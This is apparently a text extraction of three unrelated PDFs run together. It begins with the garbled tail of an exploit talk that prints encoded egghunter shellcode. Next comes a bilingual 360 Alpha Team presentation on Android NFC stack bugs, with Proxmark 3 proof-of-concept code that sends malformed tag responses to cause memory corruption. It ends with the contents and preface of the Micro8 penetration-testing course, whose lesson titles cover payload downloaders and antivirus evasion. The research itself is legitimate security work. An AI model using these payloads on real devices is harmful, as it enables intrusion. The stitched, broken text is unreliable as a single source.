address to stack 5C POP ESP # align ESP to this address We will align the stack to the end of our buffer. We proceed to carve out our egghunter payload in memory, using a limited instruction set Writing self decoding payloads 25 4A4D4E55 AND EAX,554E4D4A # zero out EAX 25 3532312A AND EAX,2A313235 # zero out EAX 2D 21555555 SUB EAX,55555521 # carve out last 4 bytes (1) 2D 21545555 SUB EAX,55555421 # carve out last 4 bytes (2) 2D 496F556D SUB EAX,6D556F49 # carve out last 4 bytes (3) 50 PUSH EAX # push E7FFE775 on to the stack We will align the stack to the end of our buffer. We proceed to carve out our egghunter payload in memory, using a limited instruction set \x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74 \xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7 Manually Encoded Shellcode egghunter Final Payload LIVE DEMO From BUG to 0day – Busting the perimeter • Thank you! • Questions ? http://www.offensive-security.com
pdf
近場狩獵 Hunting in the Near Field Android平台上NFC相關漏洞的研究 An Investigation of NFC-related bugs of Android 360阿爾法實驗室 趙奇 Qi Zhao from 360 Alpha Team 360 ALPHA 關於講者 About the Speaker • @JHyrathon • 360阿爾法實驗室 安全研究員 Security Researcher of 360 Alpha Team • 專注於Android組件安全,NFC、多媒體、IPC通訊(Binder) 均有涉獵 Focuses on the security of components of Android system, including NFC, TrustZone, Binder, and Multimedia • 目前正在研究高通TrustZone Currently working on Qualcomm TrustZone 關於團隊 About the Team • 360阿爾法團隊 360 Alpha Team • 總計近200項Android相關漏洞被確認(包括Google、Qualcomm等 廠商) approximately 200 Android Vulnerabilities (Google, Qualcomm, …) • Android漏洞獎勵計劃史上最高額獎金得主 Won the highest reward in ASR history • 多項Pwn Contest冠軍 Many pwn contests winner • Pwn2Own 2016(Chrome) • Pwn2Own Mobile 2017(Galaxy S8) • … 發現的漏洞 Hunted Bugs ID Type Sub Component CVE-2019-2017 EoP t2t CVE-2019-2034 EoP i93 CVE-2019-2099 EoP nfa CVE-2019-9358 EoP t3t hce CVE-2019-2135 ID mifare A-124321899 ID t4t A-124466497 EoP nfc hci A-125447044 ID mifare A-124466510 EoP nfc hci A-124792090 EoP jni A-126126165 EoP mifare A-128469619 EoP hal ID Type Sub Component A-120101855 DoS t3t A-122047365 ID i93 A-122447367 ID t4t hce A-122629744 ID t3t A-124334702 ID t4t A-124334707 ID t4t A-124579544 EoP i93 …… …… …… 確認的漏洞 Comfirmed 重複的漏洞 Duplicated NFC協定疊 NFC Stack Overview NFC協定疊 NFC Stack Overview 過度臃腫,不同廠商的協定堆積在一起,從RFID時代起的很多歷史問題 Overstuffed, varied implementations, legacy (from RFID) ↓ 漏洞獵人的機會 Opportunity for bug hunters NFC協定疊 NFC Stack Overview 模組命名方式非常隨意,不同的廠商、組織、實現中,同樣的協定可能有多種稱呼 Many names are arbitrary Different organizations/vendors/implementations use what they like NFC在Android中的實行方式 NFC of Android Mode Uses Protocols Reader/Writer Raw Tag reader/writer, NDEF reader/writer type 1-4 tag, ISO-15693 tag, Mifare tag Host-based Card Emulation Metro card emulation, offline payment t3t(FeliCa), t4t P2P Android Beam LLCP Android NFC結構 Android NFC structure Java Wrapping JNI implementation Mifare Stack NDEF processing impl. card emulatio n impl. P2P impl.(LL CP) t1t t2t t4t i93 R/W impl. t3t t4t Public basis: GKI buffer/msg managing, NFA, checksum, HAL Adaptation com.android.nfc t3t User App NFC HAL impl. Binder IPC with the help of ServiceMgr, APIs HwBinder IPC with the help of hwSvrMgr android.hardwar e.nfc@1.1- service Kernel NFC driver NFC SoC 攻擊面與目標 Attack Surface & Target Java Wrapping JNI implementation Mifare Stack NDEF processing impl. card emulatio n impl. P2P impl.(LL CP) t1t t2t t4t i93 R/W impl. t3t t4t Public basis: GKI buffer/msg managing, NFA, checksum, HAL Adaptation com.android.nfc t3t User App NFC HAL impl. Binder IPC HwBinder IPC with the help of hwSvrMgr android.hardwar e.nfc@1.1- service Kernel NFC driver NFC SoC ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ with the help of ServiceMgr, APIs 攻擊面 Attack Surfaces 1. Binder進程間通訊 Binder IPC 2. 應用到NFC協定疊 App data to NFC stack 3. 卡片/讀卡器到NFC協定疊 Remote(card, reader/writer) to NFC stack 4. HwBinder進程間通訊(非攻擊者直接可控)HwBinder IPC 5. System on Chip攻擊面 SoC attack surface 6. 手機到卡片/讀卡器(我們不關注)Android to Remote(card, reader/writer) 有價值的研究目標 Alluring Target 7. 讀寫功能模組 Reader/Writer module 8. 卡模擬(HCE)模組 Host-based Card Emulation module 9. 點到點通訊模組 本議題不討論,新版Android已經廢棄該功能 P2P module, deprecated 10. 通用基礎模組 Infrastructure module 通常來說,Java和JNI代碼不被認為是有價值的研究目標,因為其 不會對資料進行處理。 Java and JNI wrapping code are not considered alluring since data are not processed there. 聚焦於AOSP的system/nfc資料夾 Focus on system/nfc of AOSP • 協定疊實現在此 Protocol stack implements here • 大量直接操作raw buffer Raw buffer manipulations • 用戶可控資料 User-controlled data 聚焦於AOSP的system/nfc資料夾 Focus on system/nfc of AOSP Java Wrapping JNI implementation Mifare Stack NDEF processing impl. card emulati on impl. P2P impl.(LL CP) t1t t2t t4t i93 R/W impl. t3t t4t Public basis: GKI buffer/msg managing, NFA, checksum, HAL Adaptation com.android.nfc t3t User App NFC HAL impl. Binder IPC with the help of ServiceM gr, APIs HwBinder IPC with the help of hwSvrMgr android.hardwar e.nfc@1.1- service Kernel NFC driver NFC SoC 聚焦於AOSP的system/nfc資料夾 Focus on system/nfc of AOSP 基礎概念 Necessary Basic Concepts • gki • nfa • type of tags gki • 緩衝區記憶體分配器,基於ring buffer (buffer) memory allocator based on ring buffer • 訊息傳遞 message delivery • 計時器 timer gki • 緩衝區記憶體分配器,基於ring buffer 難以破壞heap, 較少出現“double free” 消除了大量潛在的不安全緩衝區操作威脅 • 訊息傳遞 在不同的“任務(task)”之間傳遞訊息 • 計時器 Hard to corrupt heap; no “double free” This nullify tons of unsafe buffer manipulations Deliver msg between different “tasks” nfa • 系統管理器 system manager • 設備管理器 device manager • 狀態機管理器 state machine manager • 初始化和釋放資源 resource init/release • 在協定疊之間切換 switch between protocols • 消息收發 messaging • 與上層組件進行通訊 communicate with upper layer • 總之,nfa可以理解為“管家程序” In conclusion, housekeeper type of tags • 重申,命名方式很“隨性” Again, naming is unbridled • Reader/Writer支援: t1t, t2t, t3t, t4t, t5t, i93(ISO-15693), Mifare Reader/Writer supports • 卡片模擬支援: t3t(with limited functionality), t4t Card emulation supports 模糊測試還是代碼審計 Fuzz or Audit? • 大量線程,大量狀態機,大量狀態 Many threads, many state machines, many states • 多階段輸入,順序不定 Multi-stage input, causality • 代碼耦合度高,難以分解 Coupling, not easy to dismantle • 約束條件多,從程序中間觸發子模組crash不意味著能夠依賴用戶 輸入實現同樣效果 Constrains, crash in a sub module doesn’t mean reachable from user input • 結論:審計優於模糊測試 Conclusion: Just audit it Proxmark 3 • 如何寫PoC How to write a PoC • 買張卡片惡意修改? ×通常卡片不支援發送異形資料包 Malicious card? Normal card don’t support malformed parcel • 使用另一台Android設備模擬攻擊卡片? ×Android支援的卡片模擬協定有 限 Simulate a card with another Android device? Limited support • Proxmark 3√ Proxmark 3 Proxmark 3 • “The proxmark3 is a powerful general purpose RFID tool, the size of a deck of cards, designed to snoop, listen and emulate everything from Low Frequency (125kHz) to High Frequency (13.56MHz) tags.” • 文檔豐富 Well documented • 晶片, 高頻率天線,低頻率天線(非必須), USB線 Chip, HF antenna, LF antenna(not indispensable), USB cable • 當然,也有集成好的版本 Also integrated versions Proxmark 3 Proxmark 3 • 官方代碼分支(Proxmark/proxmark3)和 Iceman代碼分支(iceman1001/proxmark3) 不夠穩定但是功能更 強勁(Unstable but flavored) Official fork(Proxmark/proxmark3) and Iceman fork(iceman1001/proxmark3) • 請遵守當地法律,不要做出snoop等行為 Comply with the law, don’t snoop Proxmark 3 以iso 15693協定模擬為例 • 僅支援一條指令…… Only support one command … • 預編譯到設備中,結構包 含主體循環,指令分發 Pre-compile, main loop, cmd dispatch • Let’s write some code! void SimTagIso15693(uint32_t parameter, uint8_t *uid) { LEDsoff(); LED_A_ON(); FpgaDownloadAndGo(FPGA_BITSTREAM_HF); SetAdcMuxFor(GPIO_MUXSEL_HIPKD); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_NO_MODULATION); FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR); StartCountSspClk(); uint8_t cmd[ISO15693_MAX_COMMAND_LENGTH]; // Build a suitable response to the reader INVENTORY command BuildInventoryResponse(uid); // Listen to reader while (!BUTTON_PRESS()) { uint32_t eof_time = 0, start_time = 0; int cmd_len = GetIso15693CommandFromReader(cmd, sizeof(cmd), &eof_time); if ((cmd_len >= 5) && (cmd[0] & ISO15693_REQ_INVENTORY) && (cmd[1] == ISO15693_INVENTORY)) { // TODO: check more flags bool slow = !(cmd[0] & ISO15693_REQ_DATARATE_HIGH); start_time = eof_time + DELAY_ISO15693_VCD_TO_VICC_SIM - DELAY_ARM_TO_READER_SIM; TransmitTo15693Reader(ToSend, ToSendMax, start_time, slow); } Dbprintf("%d bytes read from reader:", cmd_len); Dbhexdump(cmd_len, cmd, false); } FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); } Proxmark 3 • PoC的基本結構 Skeleton of PoC void calcRspAsTag(uint8_t* rsp, size_t len, uint8_t* toSend){ uint16_t crc; crc = Crc(rsp, len - 2); rsp[len - 2] = crc & 0xff; rsp[len - 1] = crc >> 8; CodeIso15693AsTag(rsp, len); if(ToSendMax != len * 2 + 2){ Dbprintf("Fatal error"); } memcpy(toSend, ToSend, ToSendMax); } .... #define UID 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x04, 0xe0, //data get uid static uint8_t CMD_GET_UID[] = { 0x26, 0x01, 0x00 }; static uint8_t RSP_GET_UID[] = { 0x00, 0x00, // flags dsfid UID 0xff, 0xff // crc-16 }; static uint8_t TSND_GET_UID[sizeof(RSP_GET_UID) * 2 + 2] = {0}; while (!BUTTON_PRESS()) { uint32_t eof_time = 0, start_time = 0; int cmd_len = GetIso15693CommandFromReader(cmd, sizeof(cmd), &eof_time); // read ndef only when the check is finished if(sendData && (!memcmp(cmd, CMD_READ_NDEF, sizeof(CMD_READ_NDEF) - 1))){ bool slow = !(cmd[0] & ISO15693_REQ_DATARATE_HIGH); start_time = eof_time + DELAY_ISO15693_VCD_TO_VICC - DELAY_ARM_TO_READER; TransmitTo15693Reader(TSND_READ_NDEF, sizeof(TSND_READ_NDEF), start_time, slow); Dbprintf("recv cmd:"); Dbhexdump(cmd_len, cmd, false); Dbprintf("send rsp:"); Dbhexdump(sizeof(RSP_READ_NDEF), (uint8_t*)RSP_READ_NDEF, false); Dbprintf("\n"); continue; } ...... } 實例分析 Case Study 實例分析涵蓋NFC協定疊的3個模組 The case study covers three module of NFC stack • 一個卡片模擬例子 A Card Emulation Case • 一個Reader/Writer例子 A Reader/Writer Case • 一個nfa例子 An nfa Case CVE-2019-9358 • CVE-2019-9358, Google評級為中危 • 位於卡片模擬(Host-based Card Emulation) 協定疊中 • https://developer.android.com/guide/topics/connectivity/nfc/hce CVE-2019-9358 CVE-2019-9358 NDEF check read in num_services without validation out of bound write 480 bytes at most to global segment CVE-2019-9358 • 看起來還不錯…… Looks good …… • 等一下,為什麼我的PoC沒有效果? Wait, why my PoC isn’t working? • 通過更深入的閱讀有關代碼與除錯,我發現Android系統限用了 自身的Felica模擬能力。或許出於法律問題角度考慮? After some code reading/debugging, I found Android restricts its own FeliCa emulation ability. Maybe for legal concerns? CVE-2019-9358 • System code定義了“service provider” 也就是服務 的種類 System code defines service provider, a.k.a. ‘type’ of this card • Sony的規定: https://www.sony.net/Products/felica/business/tech- support/index.html CVE-2019-9358 NDEF check read in num_services without validation out of bound write 480 bytes at most to global variable segment T3T_SYSTEM_CODE_NDEF is 0x12FC, means only NDEF card will be process, other raw data will be delivered to upper layer directly CVE-2019-9358 • 當我們寫一個NFC-F卡模擬應用時,我們需要在一個XML檔案中寫 入如下元數據 When writing a NFC-F Host Card Emulation application, we defines following metadata in a xml file CVE-2019-9358 • 稍後在com.android.nfc進程中, system code會被校驗 Later in process com.android.nfc, system code is validated • 令人驚訝的是,只有4XXX形式 的code會被放行 Surprisingly, only 4XXX is allowed (with some exceptions) I want to parse NDEF commands No you don’t NFC stack(C) validator(Java) frameworks/base/core/java/android/nfc/cardemulation/NfcFCardEmulation.java CVE-2019-9358 • 這種自相矛盾的設計使得此漏洞無法被利 This self-contradictory feature makes this bug un-exploitable • 為了向Google證明此漏洞我修改了Java代碼來繞過校驗 To prove it to Google I slightly altered the code to bypass the validation • 使用了兩部設備,一個作為攻擊者,一個作為受害者 Then two phones are involved, one as attacker, one as victim CVE-2019-2034 • 谷歌評級為高危, 在2019-04-01的補丁中修復, scored as High by Google, fix in 2019-04-01, patched in https://android.googlesource.com/platform/system/nfc/+/14e2f9df7 9ecb25db9e88843406d738d607101b4 • 經典的長度問題,數十個類似漏洞中同樣有此問題 Typical length issues found in tens of similar bugs • 發現於ISO 15693協定疊 Found in ISO 15693 stack CVE-2019-2034 • gki緩衝區運行特點 How gki buffer works • NFC協定疊包含多個層次,每一層都會在資料外側加一層 buffer NFC stack has multiple layers, each with its own header • 引入了offset字段 Introduce the offset field • 當需要剝離某層header時,僅需要增加offset並減少len When certain header need to be striped, just increase offset and decrease len • 降低了反復拷貝緩衝區的頻度 Reduce the frequency of buffer copy Access primitive: (uint8_t*)(p_hdr + 1) + p_hdr->offset CVE-2019-2034 CVE-2019-2034 zero length is not validated length underflow helps take this branch, results in p_resp->len underflow either callback will result in OOBW CVE-2019-2034 CVE-2019-2034 This code itself is also buggy, we will see it later CVE-2019-2034 • 總結 Summary • 缺少對長度為0情況的校驗,導致整數型下溢 Lack of validation of zero sized length, results in underflow • length的下溢幫助繞過進一步校驗,進而導致p_resp->len下溢 length underflow helps bypass check, results p_resp->len underflow • 產生溢出的p_resp被賦值給rw_data,接著被傳遞給callback函數 Overflowed p_resp assigned to rw_data, then passed to callback function • 最終nfa_rw_store_ndef_rx_buf被調用,使用溢出的長度進行memcpy導致 記憶體破壞 nfa_rw_store_ndef_rx_buf is finally called, and memcpy with corrupted len CVE-2019-2034 • 長度為0的緩衝區數據可控嗎? Is zero sized buffer data controllable? • 看起來長度為0的緩衝區攻擊者沒法控制 It seems buffer with 0 size can’t transfer user controlled data • 但是,還記得gki是基於ring buffer的內存管理器嗎?也就是說,其記憶體 佈局一定程度上可以預測、控制 However, gki managed memory is predictable(fengshui?), similar to heap CVE-2019-2034 • PoC https://github.com/hyrathon/PoCs/tree/master/ CVE-2019-2034 …… static uint8_t TSND_GET_CC[sizeof(RSP_GET_CC) * 2 + 2] = {0}; //data ndef tlv static uint8_t CMD_NDEF_TLV[]= { 0x22, 0x20, //flag, cmd code UID 0x01, // block number }; static uint8_t RSP_NDEF_TLV[] ={ 0x00, //flags 0x03, //I93_ICODE_TLV_TYPE_NDEF //0x08, //tlv_len or 0xff, 0xff, 0xff, // (alternative)16 bit tlv_len 0x00, 0x00, 0x00, 0x00, 0xfe, //terminator 0xff, 0xff }; static uint8_t TSND_NDEF_TLV[sizeof(RSP_NDEF_TLV) * 2 + 2] = {0}; //data check lock static uint8_t CMD_CHK_LOK[] = { 0x62, 0x20, // flag, cmd code UID 0x01 // block number }; static uint8_t RSP_CHK_LOK[] = { 0x00, // flag 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xff, 0xff }; static uint8_t TSND_CHK_LOK[sizeof(RSP_CHK_LOK) * 2 + 2] = {0}; //ndef read data static uint8_t CMD_READ_NDEF[] = { 0x22, 0x20, //flag, cmd code UID 0x00, // tag number }; static uint8_t RSP_READ_NDEF[] = { //0x00, //flag 0x00, 0x00, //dontknowwhat //0xd1, 0x01, 0x04, 0x54, 0x02, 0x7a, 0x68, 0x68, // some valid ndef info }; static uint8_t TSND_READ_NDEF[sizeof(RSP_READ_NDEF) * 2 + 2] = {0}; …… CVE-2019-2099 • 被Google評級為高危,在2019-06-01的補丁中修復 scored as High by Google, patched in • https://android.googlesource.com/platform/system/nfc/+/f0236aa9b d07b26d5f85cb5474561f60156f833f • 發現於nfa模組之nfa_rw_store_ndef_rx_buf Found in nfa_rw_store_ndef_rx_buf of nfa component CVE-2019-2099 CVE-2019-2099 • 多項協定疊有用到nfc來存儲臨時資料,正如前述CVE-2019-2034所示 Multiple protocol stacks needs to store data temporarily in nfa, as shown in CVE- 2019-2034 rw_t3t_data_cback rw_t3t_act_handle_ check_rsp rw_t3t_act_handle_ check_ndef_rsp nfa_rw_handle_t3t_ evt nfa_rw_handle_t4t_ evt nfa_rw_handle_i93_ evt rw_t4t_data_cback rw_i93_data_cback rw_t4t_sm_read_nd ef rw_i93_sm_read_nd ef nfa_rw_store_ndef _rx_buf protocol stack nfa CVE-2019-2099 • 上述協定允許接收分片資料包。 nfa_rw_store_ndef_rx_buf負責將收 到的部分內容貯存在nfa_rw_cb.p_ndef_buf中,並增加 nfa_rw_cb.ndef_rd_offset的值來代表收到數據的增長。 These three protocol allows fragmentation, nfa_rw_store_ndef_rx_buf is dedicated to store data to nfa_rw_cb.p_ndef_buf, then increase nfa_rw_cb.ndef_rd_offset to reflect the current offset of the buffer CVE-2019-2099 CVE-2019-2099 • 對nfa_rw_cb.ndef_rd_offset數值沒有驗證 No validation of nfa_rw_cb.ndef_rd_offset is made • 持續不斷傳遞咨訊(來增大nfa_rw_cb.ndef_rd_offse)並不掛斷當 前會話,最終會導致heap上產生溢出 Keep sending data and don’t hang up the current session, finally heap overflow happen will happen CVE-2019-2099 • PoC https://github.com/hyrathon/PoCs/tree/master/ CVE-2019-2099 //ndef read data static uint8_t CMD_READ_NDEF[] = { 0x22, 0x20, //flag, cmd code UID 0x00, // tag number }; static uint8_t RSP_READ_NDEF[] = { //0x00, //flag 0x00, 0x00, //dontknowwhat 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, //0xd1, 0x01, 0x04, 0x54, 0x02, 0x7a, 0x68, 0x68, // some valid ndef info }; static uint8_t TSND_READ_NDEF[sizeof(RSP_READ_NDEF) * 2 + 2] = {0}; 總結 Summary • NFC基礎 & NFC在Android上的實現 NFC basics & NFC on Android • 攻擊面探討 & 攻擊目標選擇 Attack surface & choice of target • 原理,漏洞發掘手段選擇,Proxmark 3 Concepts, method of bug hunting, Proxmark 3 • 實例研究 Case study 思考 Closing Thoughts • 難以模糊測試 Hard to fuzz • 難以利用 Hard to exploit • 物理接觸 Physical contact • 跨設備 Inter-device • 處理代碼位於沙箱化的、開啟多種保護的進程中 Parse in a sandboxed, fully mitigated process • 潛在研究方向 Future work • Hal • SoC • Kernel 參考聯結 References [1] https://github.com/Proxmark/proxmark3 [2] https://developer.android.com/guide/topics/connectivity/nfc/hce [3] https://smartlockpicking.com/ 致謝 Credits • 感謝360 Alpha Team的成員,在研究過程中給我的幫助和激勵 演示 Demo 感謝聆聽 Thanks
pdf
目录 致谢 前言 目录 第一课:windows提权-快速查找exp 第二课:Linux提权-依赖exp篇 第三课:Delphi代码审计—项目实战1 第四课:Asp代码审计—项目实战2 第五课:工具介绍-Sqlmap 第六课:反攻的一次溯源—项目实战3 第七课:sqlserver常用操作远程桌面语句 第八课:模拟诉求任务攻击 第九课:工具介绍-the-backdoor-factory 第十课:msfvenom常用生成payload命令 第十一课:工具介绍Veil-Evasion 第十二课:基于UDP发现内网存活主机 第十三课:基于ARP发现内网存活主机 第十四课:基于第十课补充payload1 第十五课:基于第十课补充payload2 第十六课:红蓝对抗渗透测试1 第十七课:红蓝对抗渗透测试2 第十八课:红蓝对抗渗透测试3 第十九课:基于netbios发现内网存活主机 第二十课:基于snmp发现内网存活主机 第二十一课:基于ICMP发现内网存活主机 第二十二课:基于SMB发现内网存活主机 第二十三课:基于MSF发现内网存活主机第一季 第二十四课:基于MSF发现内网存活主机第二季 第二十五课:基于MSF发现内网存活主机第三季 第二十六课:基于MSF发现内网存活主机第四季 第二十七课:基于MSF发现内网存活主机第五季 第二十八课:基于MSF发现内网存活主机第六季 第二十九课:发现目标WEB程序敏感目录第一季 第三十课:解决msfvenom命令自动补全 第三十一课:msf的前生今世 第三十二课:配置vps上的msf 第三十三课:攻击Mysql服务 -2- 本文档使用书栈(BookStack.CN)构建 第三十四课:攻击Sqlserver服务 第三十五课:与Sqlmap结合攻击 第三十六课:解决vps上ssh掉线 第三十七课:vbs一句话下载payload 第三十八课:certutil一句话下载payload 第三十九课:vbs一句话下载payload补充 第四十课:ftp一句话下载payload 第四十一课:bitsadmin一句话下载payload 第四十二课:攻击FTP服务 第四十三课:js一句话下载payload 第四十四课:ertutil一句话下载payload补充 第四十五课:解决bat一句话下载payload黑窗 第四十六课:powershell一句话下载payload 第四十七课:payload分离免杀思路 第四十八课:payload分离免杀思路第二季 第四十九课:关于Powershell对抗安全软件 第五十课:基于SqlDataSourceEnumerator发现内网存活主机 第五十一课:项目回忆:体系的本质是知识点串联 第五十二课:渗透的本质是信息搜集 第五十三课:内网渗透中的文件传输 第五十四课:基于Powershell做Socks4-5代理 第五十五课:与Smbmap结合攻击 第五十六课:离线提取目标机hash 第五十七课:高级持续渗透-第一季关于后门 第五十八课:高级持续渗透-第二季关于后门补充一 第五十九课:高级持续渗透-第三季关于后门补充二 第六十课:高级持续渗透-第四季关于后门 第六十一课:高级持续渗透-第五季关于后门 第六十二课:高级持续渗透-第六季关于后门 第六十三课:高级持续渗透-第七季demo的成长 第六十四课:高级持续渗透-第八季demo便是远控 第六十五课:离线提取目标机hash补充 第六十六课:借助aspx对payload进行分离免杀 第六十七课:meterpreter下的irb操作第一季 第六十八课:基于Ruby内存加载shellcode第一季 第六十九课:渗透,持续渗透,后渗透的本质 第七十课:ftp一句话下载payload补充 第七十一课:基于白名单Msbuild.exe执行payload第一季 -3- 本文档使用书栈(BookStack.CN)构建 第七十二课:基于白名单Installutil.exe执行payload第二季 第七十三课:基于白名单Regasm.exe执行payload第三季 第七十四课:基于白名单Regsvcs.exe执行payload第四季 第七十五课:基于白名单Mshta.exe执行payload第五季 第七十六课:基于白名单Compiler.exe执行payload第六季 第七十七课:基于白名单Csc.exe执行payload第七季 第七十八课:基于白名单Msiexec执行payload第八季 第七十九课:基于白名单Regsvr32执行payload第九季 第八十课:基于白名单Wmic执行payload第十季 第八十一课:基于白名单Rundll32.exe执行payload第十一季 第八十二课:基于白名单Odbcconf执行payload第十二季 第八十三课:基于白名单PsExec执行payload第十三季 第八十四课:基于白名单Forfiles执行payload第十四季 第八十五课:基于白名单Pcalua执行payload第十五季 第八十六课:基于白名单Msiexec执行payload第八季补充 第八十七课:基于白名单Cmstp.exe执行payload第十六季 第八十八课:基于白名单Ftp.exe执行payload第十九季 第八十九课:基于白名单Url.dll执行payload第十七季 第九十课:基于白名单zipfldr.dll执行payload第十八季 第九十一课:从目标文件中做信息搜集第一季 第九十二课:实战中的Payload应用 第九十三课:与CrackMapExec结合攻击 第九十四课:基于实战中的smallpayload 第九十五课:基于Portfwd端口转发 第九十六课:HTTP隧道ABPTTS第一季 第九十七课:MSF配置自定义Payload控制目标主机权限 第九十八课:HTTP隧道reGeorg第二季 第九十九课:HTTP隧道Tunna第三季 第一百课:HTTP隧道reDuh第四季 -4- 本文档使用书栈(BookStack.CN)构建 致谢 当前文档《专注APT攻击与防御-Micro8系列教程》由进击的皇虫使用书栈 (BookStack.CN)进行构建,生成于2019-05-01。 书栈(BookStack.CN)仅提供文档编写、整理、归类等功能,以及对文档内容的生成和导出工 具。 文档内容由网友们编写和整理,书栈(BookStack.CN)难以确认文档内容知识点是否错漏。如果 您在阅读文档获取知识的时候,发现文档内容有不恰当的地方,请向我们反馈,让我们共同携手,将知 识准确、高效且有效地传递给每一个人。 同时,如果您在日常工作、生活和学习中遇到有价值有营养的知识文档,欢迎分享到书栈 (BookStack.CN),为知识的传承献上您的一份力量! 如果当前文档生成时间太久,请到书栈(BookStack.CN)获取最新的文档,以跟上知识更新换 代的步伐。 内容来源:Micro8https://github.com/Micropoor/Micro8 文档地址:http://www.bookstack.cn/books/Micro8 书栈官网:http://www.bookstack.cn 书栈开源:https://github.com/TruthHun 分享,让知识传承更久远!感谢知识的创造者,感谢知识的分享者,也感谢每一位阅读到此处的 读者,因为我们都将成为知识的传承者。 致谢 -5- 本文档使用书栈(BookStack.CN)构建 渗透攻击超十年,由于年龄,身体原因,自己感觉快要退出一线渗透攻击了。遂打算把毕生所学用文字 表写出来。因为文章涉及到敏感的攻击行为,所以好多需要打马赛克,或者是本地以demo的形式表 现出来。当这个行业做久了,你也终有一天发现原来事物的本质是如此重要。比如内网渗透的本质是信 息搜集。当年某大佬把这条经验传递给我,同样,今天变成老家伙的我,也希望把这条经验传递下去。 所有课程从基础开始(包括工具的介绍,应用等,由于是基础开始,部分内容可能会涉及初级知识点, 请见谅),这样以后新来的同事或者想要自我从头学习的同事也可以避开一些弯路,在写的过程中,我 深深体会到分享者才是学习中的最大受益者,由于需要成文章,所以需要查阅大量的资料。在整个过程 中,又学习到很多知识点。连载其中包括穿插在工作中的项目心得笔记,包括但不限制于代码审计, web渗透,内网渗透,域渗透,隧道介绍,日志溯源与暴力溯源等。如果有课程指定需求介绍相关技术 的同事(在我技术能力范围之内),请发我的邮箱:micropoor@gmail.com。在2010-2012年之 间一直在写<PHP安全新闻早8点>,但是由于当时的工作原因,就不在写了。这次的所有课程免费分 享,只希望自己可以在本来已封闭的技术氛围里,依然做出一些技术文档输出。那么这次的教程我想依 然想叫<PHP安全新闻早8点>,笔者相信有一天,你会发现原来弄清事物的本质是这样的有趣。 Micro8系列适用于初中级安全从业人员,乙方安全测试,甲方安全自检,网络安全爱好者等,企业安 全防护与提高。 渗透测试/APT模拟攻击,是一把双刃剑,该系列遵守:免费,自由,共享,开源。请勿触犯法律,如触 犯与本作者无关。当下载/传播/学习等便视为同意该条例。愿读者学有所成,问有所得,静有所思,而 私有所惘。 由于开启了open投稿(支持所有人投稿加入该系列),第三方投稿如有广告/隐藏广告/小密圈/等一切 收费为主的行为,请勿相信。 文中难免出现笔误或者不对的地方,请大家多多包涵,提前向各位说声对不起。由于Gitbook正在逐 步完善中,为此带来的不便请您谅解!对于存在的问题,无论是内容上的不足亦或是项目的不足,欢迎 非常遗憾,停止更新。愿每一个安全从业者静有所思。—— 2019.3.7 为什么要写Micro8系列 读者及对象 声明 勘误及支持 前言 -6- 本文档使用书栈(BookStack.CN)构建 大家提交Issues。项目地址: https://github.com/micro8/Micro8-HTML 如需指定技术诉求,也请提交Issue(地址如上),方便在未来更新的课时中加入。再次感谢所有读 者! 致谢 前言 -7- 本文档使用书栈(BookStack.CN)构建 第一课:windows提权-快速查找exp 第二课:Linux提权-依赖exp篇 第三课:Delphi代码审计—项目实战1 第四课:Asp代码审计—项目实战2 第五课:工具介绍-Sqlmap 第六课:反攻的一次溯源—项目实战3 第七课:sqlserver常用操作远程桌面语句 第八课:模拟诉求任务攻击 第九课:工具介绍-the-backdoor-factory 第十课:msfvenom常用生成payload命令 第十一课:工具介绍Veil-Evasion 第十二课:基于UDP发现内网存活主机 第十三课:基于ARP发现内网存活主机 第十四课:基于第十课补充payload1 